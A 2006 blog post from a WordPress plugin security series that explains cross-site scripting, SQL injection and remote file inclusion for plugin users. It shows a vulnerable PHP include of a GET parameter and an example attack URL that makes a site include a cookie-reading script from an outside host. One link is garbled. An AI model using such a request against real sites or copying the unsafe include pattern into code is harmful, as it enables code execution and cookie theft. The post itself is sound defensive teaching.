Technosailor
  • Home
  • Blog
  • Venture Files
  • Espanol
  • Technosailor Staff
  • Twitter Pitch Me!
  • Clients/Disclosures
Sep
28
2006

WordPress Plugin Security: What is Dangerous?

Posted by: Aaron Brazell

Earlier this week, I began a series on WordPress plugin security. We established that the golden rule of web security is to check the “gateways”. That is, watch the areas of a website that an attacker can use to send data to your website. I’d like to elaborate more on this today.

WordPress support maven, Podz, asks on his blog, “What is Dangerous?”

The answer lies in understanding attack vectors. Attack vectors, such as Cross Site Scripting, SQL Injection and Remote File Includes are some of the methods used to attack a site. If you understand the principles involved, you’ll have a better understanding of what you need to look for in a plugin. So let’s get to it, shall we?

Cross Site Scripting (XSS)

Cross Site Scripting is described by Network World as “the top security threat”. Cross site scripting is a generalized term but usually involves injecting javascript into a page. As the javascript zone allows a browser to do a wide variety of things, including the potential to execute code on the filesystem, allowing an attacker a vactor to get that code onto your computer or website is dangerous. An example of XSS would be the Democracy 1.2 flaw. A common point of entry for XSS is in an HTML form (contact form, tagboard, etc) or in the address bar.

SQL Injection

From a programming standpoint, SQL injection happens when input from the browser (whether from a form or address bar or whatever) is improperly filtered to make it “safe” and then fed directly into a database. Such an attack vector could allow the content of a website (that is based on a database) to be altered or even delted. It could also be used in conjunction with XSS to inject malicious javascript or server side scripting into a page content.

Remote File Includes

A third attack vector that should be avoided is remote file includes. That is, using a PHP <a href="http://us2.php.net/incmµçVFR#æ–æ6Û^ude()</a> function to grab a piece of code hosted elsewhere and executed on the remote server. In other words, an attacker can write a small script that logs IP addresses, cookies, etc and if he can get a site to run an include on the PHP script he is hosting, can provide valuable information to the attacker. Generally RFIs are found when user submitted input (form, address bar) is directly included into an include().

For instance, a link looking like this: http://example.com/?page=about might have some code that supplies apropriate content, &lt;?php include($_GET['page'].".php"); ?&gt; This sort of sloppy coding is more common than you might think. The intention of the developer would be, in this example, to include the contents of about.php into the main page. However, think about what happens if I send this request from my brower:

http://example.com/?page=http://mydomain.com/malicious_cookie_reading_script

Now, his page is actually running this command:

&lt;?php include("http://mydomain.com/malicious_cookie_reading_script.php"); ?&gt;

Very dangerous stuff.

How does this apply to WordPress?

In further articles we’ll look at specific security implications for WordPress plugins. Really, these are web security issues that are not related specifically to WordPress plugins. Any plugin that is used however should have an initial inspection to see if it allows for user interaction. If it allows for user interaction then it may be prone to one of these attack vectors.

Don’t assume, however, that a plugin accepting user interaction is dangerous. Its in the code and the developer may have taken due diligence to appropriately sanitize user input.

Table of contents for WordPress Plugin Security

  1. Understanding Implications of WordPress Plugin Security
  2. WordPress Plugin Security: The Golden Rule
  3. WordPress Plugin Security: What is Dangerous?
  4. WordPress Plugin Security: Dangerous Combinations
  5. WordPress Plugin Security: Less is More
Previous in series Next in series
  • Add to Mixx!
  • Stumble it!
About the Author: Aaron Brazell is the lead editor of Technosailor.com and a social media expert. His passion is to see companies and individuals use the internet and web technologies wisely and effectively to promote their brands and companies. He served as Director of Technology at b5media from 2005-2008 and is currently an independent consultant.
Tagged: at 12:06 pm -

One Response to “WordPress Plugin Security: What is Dangerous?”

  1. 1
    Understanding Implications of WordPress Plugin Security » Technology, Blogging and New Media Says:

    [...] WordPress Plugin Security: What is Dangerous? Share this Post:These icons link to social bookmarking sites where readers can share and discover new web pages. [...]

    September 28th, 2006 at 12:07 pm

Or add a Video Comment
with
« Back to text comment
  • Recent Posts

    • Are People Talking About You?
    • Western Style Writing vs. Eastern Style Writing
    • How Has Social Software Changed Your Life?
    • America the Beautiful
    • Identi.ca and the Art of the Launch
  • Reader Contribution

    • Brian Clark on Western Style Writing vs. Eastern Style Writing
    • Jeffrey on Western Style Writing vs. Eastern Style Writing
    • Jeffrey on What a designer is and isn’t…seriously you need to know…
    • Igor The Troll on Are People Talking About You?
    • Aaron Brazell on 10 Things You Need to Know About WordPress 2.6
  • RSS Venture Files

    • The Difference Between Designers and Marketers
    • But this worked four years ago?
    • Rules for Entrepreneurs - Avoid relying on a few whale customers
    • 6 Steps to Successful Small Business PR
    • Rules for Entrepreneurs - Outsource what you suck at
  • RSS Wicked Marketing

    • Yeah it’s cheaper, but what are you really getting?
    • What a designer is and isn’t…seriously you need to know…
    • The difference between success and closing next year…
    • It’s time to get Wicked…
  • RSS Technosailor en Español

    • PopTok: usa tus películas favoritas para enviar un mensaje
    • Video en Vivo desde tu iPhone
    • 7 Funciones que le Faltan al iPhone 3G
    • Como Vencer la Sobrecarga Informativa
    • La Batalla es Digital
  • Tip Jar


  • License Creative Commons Attribution-Noncommercial-Share Alike 3.0 | Copyright © 2004 - 2008 - Aaron Brazell | Lisa helped out | Privacy Policy

    Twitter Pitch!

    <p>Twitter pitching is a form of pitch that requires succint "what does this mean for me" kind of pitching. It is the ultimate efficiency of words. You have 140 characters or less to tell me why your pitch matters to me or my readers. Please include a means of contacting you. This is included in your 140 characters. If you send successive pitches, you will likely be ignored, unless it's obvious that the first pitch was a case of "accidental send", etc.</p> <p>This form of pitching does not mean I'm being a diva. It means that my time is valuable, and you want a piece of it. It's good practice for you, and delivers your pitch in a format I want. Win-win.</p>


    (X) Close

    Twitter Pitch Me!